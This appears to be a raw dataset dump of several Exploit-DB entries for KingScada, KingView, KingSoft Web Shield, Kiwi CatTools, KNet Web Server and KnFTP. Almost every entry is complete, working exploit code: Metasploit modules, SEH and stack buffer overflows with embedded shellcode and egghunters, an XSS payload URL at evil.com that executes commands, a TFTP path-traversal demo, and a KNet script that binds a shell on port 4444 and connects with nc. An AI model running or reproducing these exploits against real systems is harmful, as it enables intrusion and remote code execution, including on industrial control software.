deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42724
Description: KingScada AlarmServer 3.1.2.13 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-14
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'KingScada AlarmServer Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in
				KingScada < 3.1.2.13. The vulnerability is triggered when 
				sending a specially crafted packet to the 'AlarmServer' 
				(AEserver.exe) service listening on port 12401. During the
				parsing of the packet the 3rd dword is used as a size value
				for a memcpy operation which leads to an overflown stack buffer
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2014-0787' ],
					[ 'ZDI', '14-071' ],
					[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4', 
							{
								# dbghelp.dll
								# pop esi/ pop edi/ retn
								'ret' => 0x02881fbf,
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Apr 10, 2014'))

		register_options([Opt::RPORT(12401)], self.class)
	end

	def exploit
		connect

		p = payload.encoded

		buf = make_nops(5000)
		buf[0, 4] = [0x000004d2].pack('V')
		buf[4, 4] = [0x0000007b].pack('V')
		buf[8, 4] = [0x0000133c].pack('V')	# size for memcpy()
		buf[1128, p.length] = p
		buf[2128, 8] = generate_seh_record(target['ret'])
		buf[2136, 5] = "\xe9\x4b\xfb\xff\xff"	# jmp $-1200

		print_status("Trying target #{target.name}...")

		sock.put(buf)

		handler
		disconnect
	end

end
Exploit-DB #8742
Description: KingSoft Web Shield 1.1.0.62 - Cross-Site Scripting / Code Execution
Type: remote
Platform: windows
Date: 2009-05-19
Author: inking

Exploit:
#
# KingSoft Web Shield XSS and Remote Code Execution Vulnerability
#
# Found by inking
#
# Version <= 1.1.0.62
#
# Background: KingSoft Web Shield is a popular anti-malwebsites production  of KingSoft Inc. around China.
#
# Details: When the KSWebShield detects a malwebsite, it sends the evil url from the web browser
# to the KSWebShield service, and popup a dialog which alerts that a malwebsite has been detected.
# Because it's unreliable filter method, the attacker can insert any HTML tag in the alert dialog.
# when the evil codes are successfully inserted, we can use javascript to call it's inner functions
# of the KSWebShield and execute any system commands.
#

# The evil url maybe like this
hxxp://evil.com/index.php?html=%3c%70%20%73%74%79%6c%65%3d%22%62%61%63%6b%67%72%6f%75%6e%64%3a%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%70%61%72%65%6e%74%2e%43%61%6c%6c%43%46%75%6e%63%28%27%65%78%65%63%27%2c%27%63%3a%5c%5c%77%69%6e%64%6f%77%73%5c%5c%73%79%73%74%65%6d%33%32%5c%5c%63%61%6c%63%2e%65%78%65%27%20%29%29%22%3e%74%65%73%74%3c%2f%70%3e

# When decoded by the KSWebShield, the url maybe like this
hxxp://evil.com/index.php?html=<p style="background:url(javascript:parent.CallCFunc('exec','c:\\windows\\system32\\calc.exe' ))">test</p>

# Just make a website with evil javascript codes, and browse the url shows above

# milw0rm.com [2009-05-19]
Exploit-DB #24887
Description: KingView - Log File Parsing Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-03-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "KingView Log File Parsing Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in KingView <= 6.55. It exists in
        the KingMess.exe application when handling log files, due to the insecure usage of
        sprintf. This module uses a malformed .kvl file which must be opened by the victim
        via the KingMess.exe application, through the 'Browse Log Files' option. The module
        has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lucas Apa', # Vulnerability discovery
          'Carlos Mario Penagos Hollman', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2012-4711'],
          ['OSVDB', '89690'],
          ['BID', '57909'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf']
        ],
      'Payload'        =>
        {
          'Space'          => 1408,
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0a\x0d",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
            {
              'Offset' => 295,
              'Ret'    => 0x77c35459 # push esp # ret # msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 20 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The filename', 'msf.kvl'])
      ], self.class)
  end

  def exploit
    version = "6.00"
    version << "\x00" * (0x90 - version.length)
    entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01"
    entry << rand_text_alpha(target['Offset'])
    entry << [target.ret].pack("V")
    entry << rand_text_alpha(16)
    entry << payload.encoded

    kvl_file = version
    kvl_file << entry

    file_create(kvl_file)
  end
end
Exploit-DB #16936
Description: KingView 6.5.3 SCADA - ActiveX
Type: remote
Platform: windows
Date: 2011-03-07
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: KingView 6.5.3 SCADA ActiveX
# Date: March 07  2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar
# Version: 6.53 (English)
# Tested on: Windows xp sp3  running on VMware Fusion 3.1 and VirtualBox 3.2.8

Thanks to Dillon Beresford for Heap Exploit
<html>
mail----> shogilord^gmail.com spams are welcome!!!!!
    ________  _    _________   ____ __ _____   ________
   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
 / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/
    
 COLOMBIA hacking presents.............
Beijing WellinControl Technology Development Co.,Ltd FIX your KVWebSvr.dll
 
<object classid='clsid:F31C42E3-CBF9-4E5C-BB95-521B4E85060D' id='target' /></object>
<script language='javascript'>
nse="\xEB\x06\x90\x90";
seh="\x4E\x20\xD1\x72";
nops="\x90";
while (nops.length<10){ nops+="\x90";}
/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85\x9f\x9a\x9e\x9d\x9b\x9f\x76*/
shell="\x54\x5f\xda\xdf\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4c\x4b\x5a\x4c\x50\x55\x4c\x4b\x5a\x4c\x43\x58\x51\x30\x51\x30\x51\x30\x56\x4f\x52\x48\x52\x43\x45\x31\x52\x4c\x43\x53\x4c\x4d\x51\x55\x5a\x58\x56\x30\x58\x38\x49\x57\x4d\x43\x49\x52\x54\x37\x4b\x4f\x58\x50\x41\x41";
junk1="A";
junk2="A";
while (junk1.length<624){ junk1+=junk1;}
junk1=junk1.substring(0,624);
junk2=junk1;
while (junk2.length<8073){ junk2+=junk2;}
arg2=junk1+nse+seh+nops+shell+junk2;
arg1="Anything";
target.ValidateUser(arg1 ,arg2);
 
 
</script>
Exploit-DB #3380
Description: Kiwi CatTools TFTP 3.2.8 - Directory Traversal
Type: remote
Platform: windows
Date: 2007-02-27
Author: Sergey Gordeychik

Exploit:
Path traversal security vulnerability in Kiwi CatTools TFTP up to 3.2.8 
server can lead to information disclosure and remote code execution 

Risk: High 

DISCUSSION 

Kiwi CatTools TFTP server doesn.t properly verify filename in PUT and 
GET request which can be used to download/upload any file from/to 
server. Default setting allows replacing of existing files. Such 
settings lead to probability to replace an executable files and run code 
on attacker choice. 

EXAMPLES 

C:\>tftp -i 10.1.1.2 GET /x/../../../../../boot.ini boot.txt 

Transfer successful: 212 bytes in 1 second, 212 bytes/s 

C:\>type boot.txt 

[boot loader] timeout=30 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 

C:\>tftp -i 10.1.1.2 PUT boot.txt /x/../../../../../pttest.txt 

Transfer successful: 212 bytes in 1 second, 212 bytes/s 

C:\>type pttest.txt 

[boot loader] timeout=30 
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS 

C:\> 

SOLUTION 

Upgrade to CatTools 3.2.9 which is available for download at 
http://www.kiwisyslog.com/downloads.php 

CREDITS 

Sergey Gordeychik of Positive Technologies (www.ptsecurity.com) 

DISCLOSURE TIMELINE 

Vulnerability discovered: 11/20/2006 

Initial vendor contact: 12/08/2006 

Patch released: 02/13/2007 

Public disclosure: 02/27/2007 

# milw0rm.com [2007-02-27]
Exploit-DB #24897
Description: KNet Web Server 1.04b - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2013-03-29
Author: Myo Soe

Exploit:
#!/usr/bin/ruby

# Exploit Title: KNet Web Server Buffer Overflow SEH
# Date: 2013-03-27
# Exploit Author: Myo Soe, http://yehg.net/
# Software Link: http://www.softpedia.com/progDownload/KNet-Download-20137.html
# Version: KNet 1.04b 
# Tested on: Windows 7

require 'net/http'
require 'uri'
require 'socket'
############################################

# bind port 4444
sc_bind = 
"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" +
"\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5" +
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" +
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" +
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" +
"\x88\x2e\x08\xbb\x7c\x85\x13\xec\x2c\x92\x5c\x14\x47\xfc" +
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" +
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" +
"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" +
"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" +
"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xa1\x26\x29\x59" +
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" +
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" +
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" +
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x72" +
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8f\x3d\x65\xac" +
"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" +
"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" +
"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" +
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x14\xef" +
"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" +
"\xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" +
"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x7d\x8d" +
"\x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" +
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" +
"\x6c\x19\x5f\x09"

###########################################


sploit = "\x90" * 1234
sploit += "\xFF\x64\x24\x5C"  # nseh | JMP [ESP+5C] FF6424 5C ; will jump to Shell Code  at ESP+5C
sploit += "\xE3\x74\x24\x6C"  # seh  | Found pop esi - pop ebp - ret at 0x6C2474E3 [crtdll.dll]
sploit += "\x90" * 80  

sploit += sc_bind
sploit += "\x90" * 80

########################################

puts "KNet Web Server - Buffer Overflow SEH Exploit\r\n by Myo Soe, http://yehg.net/\n\n"
target = ARGV[0]

def exploit(t,s)
	target = 'http://' + t
	sploit = s
	puts "[*] Sending exploit to #{target}...\n"
	url = URI.parse(target)
	res = Net::HTTP.start(url.host, url.port) {|http|
	http.get('/' + sploit)
	}
end 
def connect(t)
	sleep(1)
	target = t
	puts "[*] Opening Shell ..\n\n";
	system("nc #{target} 4444")
end 
t1=Thread.new{exploit(target,sploit)}
t2=Thread.new{connect(target)}
t1.join
t2.join
Exploit-DB #24950
Description: KNet Web Server 1.04b - Stack Corruption Buffer Overflow
Type: remote
Platform: windows
Date: 2013-04-12
Author: Wireghoul

Exploit:
#!/usr/bin/perl
# KNet Web Server Stack corruption BoF PoC
# Written by Wireghoul - http://www.justanotherhacker.com
# Date: 2013/04/11
# Version: 1.04b
# Tested on: WinXP SP3

use IO::Socket::INET;
$host = shift;
$port = shift;
print "KNet Web Server stack corruption BoF PoC - Wireghoul -
http://www.justanotherhacker.com\n";
die "Usage $0 <host> <port>\n" unless $host && $port;
$sock = IO::Socket::INET->new("$host:$port") or die "Unable to connect to
$host:$port\n";

# Shellcode for calc.exe
$shellcode=
"\x89\xe2\xda\xd5\xd9\x72\xf4\x5d\x55\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x6b\x4c\x78\x68\x4e\x69\x45\x50\x73\x30" .
"\x63\x30\x61\x70\x6e\x69\x78\x65\x75\x61\x39\x42\x62\x44" .
"\x6c\x4b\x51\x42\x34\x70\x4e\x6b\x72\x72\x46\x6c\x4e\x6b" .
"\x71\x42\x37\x64\x4e\x6b\x44\x32\x36\x48\x54\x4f\x4e\x57" .
"\x53\x7a\x35\x76\x76\x51\x39\x6f\x44\x71\x4b\x70\x4e\x4c" .
"\x77\x4c\x35\x31\x73\x4c\x47\x72\x64\x6c\x67\x50\x4a\x61" .
"\x78\x4f\x54\x4d\x33\x31\x68\x47\x49\x72\x6a\x50\x73\x62" .
"\x63\x67\x6c\x4b\x52\x72\x66\x70\x6e\x6b\x53\x72\x77\x4c" .
"\x63\x31\x48\x50\x6e\x6b\x73\x70\x64\x38\x6e\x65\x69\x50" .
"\x52\x54\x50\x4a\x65\x51\x48\x50\x56\x30\x4c\x4b\x70\x48" .
"\x47\x68\x4c\x4b\x42\x78\x37\x50\x66\x61\x78\x53\x39\x73" .
"\x77\x4c\x57\x39\x4c\x4b\x75\x64\x4c\x4b\x77\x71\x38\x56" .
"\x70\x31\x59\x6f\x76\x51\x39\x50\x6c\x6c\x6f\x31\x6a\x6f" .
"\x34\x4d\x53\x31\x78\x47\x45\x68\x79\x70\x42\x55\x6b\x44" .
"\x77\x73\x61\x6d\x59\x68\x47\x4b\x51\x6d\x34\x64\x62\x55" .
"\x4d\x32\x31\x48\x4c\x4b\x71\x48\x47\x54\x37\x71\x4e\x33" .
"\x43\x56\x4e\x6b\x76\x6c\x32\x6b\x6c\x4b\x70\x58\x57\x6c" .
"\x36\x61\x79\x43\x6e\x6b\x73\x34\x6e\x6b\x33\x31\x4a\x70" .
"\x4b\x39\x73\x74\x34\x64\x54\x64\x63\x6b\x31\x4b\x65\x31" .
"\x33\x69\x72\x7a\x70\x51\x39\x6f\x69\x70\x70\x58\x31\x4f" .
"\x52\x7a\x6c\x4b\x36\x72\x58\x6b\x6b\x36\x73\x6d\x63\x5a" .
"\x55\x51\x4c\x4d\x6b\x35\x6c\x79\x35\x50\x63\x30\x65\x50" .
"\x66\x30\x35\x38\x46\x51\x6e\x6b\x50\x6f\x4c\x47\x79\x6f" .
"\x6e\x35\x4d\x6b\x5a\x50\x68\x35\x6f\x52\x62\x76\x42\x48" .
"\x6f\x56\x6d\x45\x4f\x4d\x6f\x6d\x4b\x4f\x7a\x75\x75\x6c" .
"\x66\x66\x31\x6c\x74\x4a\x6f\x70\x79\x6b\x4b\x50\x52\x55" .
"\x53\x35\x6d\x6b\x50\x47\x36\x73\x42\x52\x52\x4f\x72\x4a" .
"\x45\x50\x72\x73\x6b\x4f\x6b\x65\x30\x63\x33\x51\x52\x4c" .
"\x50\x63\x64\x6e\x51\x75\x42\x58\x45\x35\x57\x70\x41\x41";

$dist=1003-length($shellcode);
$payload = "\x90"x$dist; # Distance to overwrite EIP
$payload.=$shellcode;
$payload.="\x90" x 8; #Spacer between EIP and shellcode
$payload.= "\x53\x93\x42\x7e"; #Overwrite EIP with jmp esp
$payload.="\x90\x90\x90\x90\xE9\xF4\xFC\xFF\xFF"; #stack padding + BP +
Near jmp-300
$payload.=" / HTTP/1.0\r\n\r\n"; # Needs to be a valid HTTP request

print $sock $payload;
Exploit-DB #17870
Description: KnFTP 1.0.0 Server - 'USER' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-09-19
Author: mr.pr0n

Exploit:
# Exploit Title: KnFTP  1.0.0 Server - Remote Buffer Overflow Exploit,'USER' command
# Date: 19/9/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Tested on: Windows XP SP3 [En]



#!/usr/bin/perl

use IO::Socket;

# Exploit Title: KnFTP 1.0.0 Server - Remote Buffer Overflow Exploit, 'USER' command.
# Date: 19/9/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Tested on: Windows XP SP3 [En]

print "\n#----[ mr.pr0n ]---------------------------------------------------------#\n";
print "#    Target App: KnFTP  1.0.0 Server                                     #\n";
print "#    Attack    : Remote Buffer Overflow Exploit - 'USER' command         #\n";
print "#    Target OS : Windows XP Pro English [Service Pack 3].                #\n";
print "#------------------------------[ http://ghostinthelab.wordpress.com ]----#\n";

$target 	= "192.168.178.21";

# The egghunter.
$egghunter 	= 
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t". # <-- The 4 byte tag
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

# Calc.exe
$shellcode =
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1".
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8".
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19".
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49".
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1".
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d".
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36".
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7".
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf".
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e".
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca".
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7".
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45".
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a".
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18".
"\x9c\x61";

$junk      	= "\x41" x (284 - length("w00tw00t") - length($shellcode));

$eip		= "\x13\x44\x87\x7c";    	# 7C874413 JMP ESP - kernel32.dll
$padding 	= "\x90" x 15; 			# Send 10 nops.

$payload	= $junk."w00tw00t".$shellcode.$eip.$padding.$egghunter;

if ($socket = IO::Socket::INET->new (PeerAddr => $target,PeerPort => "21",Proto => "TCP"))
                { 
					print "\n[*] Sending buffer (".(length($payload))." bytes) to: $target! \n";
					print $socket "USER ".$payload. "\r\n";			
					print $socket "PASS pwned \r\n";
					sleep(1);
					close($socket);				
					print "[+] OK, exploitation Done!\n";
                }

else
        {
        	print "\n[-] Connection to $target failed!\n";
        }
Exploit-DB #17819
Description: KnFTP Server - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-09-12
Author: blake

Exploit:
#!/usr/bin/python
# tested on windows xp sp3
# overwrites EIP
# seh is overwritten with larger payloads
# knftpd.exe is the only non safeseh module
import sys,socket

print "\n====================="
print "KnFTP Buffer Overflow"
print "   Written by Blake  "
print "=====================\n"

if len(sys.argv) !=3:
	print "[*] Usage: %s <ip> <port>" % sys.argv[0]
	sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 271 bytes of space for shellcode
# 227 bytes windows/exec CMD => calc.exe
shellcode =(
"\xb8\xe8\xaa\x5e\xc0\xdb\xd6\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x33\x31\x43\x12\x03\x43\x12\x83\x03\x56\xbc\x35\x2f\x4f\xc8"
"\xb6\xcf\x90\xab\x3f\x2a\xa1\xf9\x24\x3f\x90\xcd\x2f\x6d\x19"
"\xa5\x62\x85\xaa\xcb\xaa\xaa\x1b\x61\x8d\x85\x9c\x47\x11\x49"
"\x5e\xc9\xed\x93\xb3\x29\xcf\x5c\xc6\x28\x08\x80\x29\x78\xc1"
"\xcf\x98\x6d\x66\x8d\x20\x8f\xa8\x9a\x19\xf7\xcd\x5c\xed\x4d"
"\xcf\x8c\x5e\xd9\x87\x34\xd4\x85\x37\x45\x39\xd6\x04\x0c\x36"
"\x2d\xfe\x8f\x9e\x7f\xff\xbe\xde\x2c\x3e\x0f\xd3\x2d\x06\xb7"
"\x0c\x58\x7c\xc4\xb1\x5b\x47\xb7\x6d\xe9\x5a\x1f\xe5\x49\xbf"
"\x9e\x2a\x0f\x34\xac\x87\x5b\x12\xb0\x16\x8f\x28\xcc\x93\x2e"
"\xff\x45\xe7\x14\xdb\x0e\xb3\x35\x7a\xea\x12\x49\x9c\x52\xca"
"\xef\xd6\x70\x1f\x89\xb4\x1e\xde\x1b\xc3\x67\xe0\x23\xcc\xc7"
"\x89\x12\x47\x88\xce\xaa\x82\xed\x21\xe1\x8f\x47\xaa\xac\x45"
"\xda\xb7\x4e\xb0\x18\xce\xcc\x31\xe0\x35\xcc\x33\xe5\x72\x4a"
"\xaf\x97\xeb\x3f\xcf\x04\x0b\x6a\xac\xcb\x9f\xf6\x1d\x6e\x18"
"\x9c\x61")

# 32 byte egghunter
egghunter =(
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
"\x54\x30\x30\x57" # egg - W00T
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

egg = "\x54\x30\x30\x57\x54\x30\x30\x57"
buffer = "\x90" * (271 - len(egg + shellcode))
eip = "\x13\x44\x87\x7c" 	# 7C874413 JMP ESP - kernel32.dll
nops = "\x90" * 8

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port) 
try:
	s.connect((target,port))
	print "[+] Sending payload"
	s.send("USER blake \r\n")
	s.recv(1024)
	s.send("PASS " + buffer + egg + shellcode + eip + nops + egghunter + "\r\n")
	s.recv(1024)
	s.close()
	print "[+] Payload sent successfully"
	raw_input("[+] Press any key to exit\n")
except:
	print "[+] Could not connect to %s!" % target
	sys.exit(0)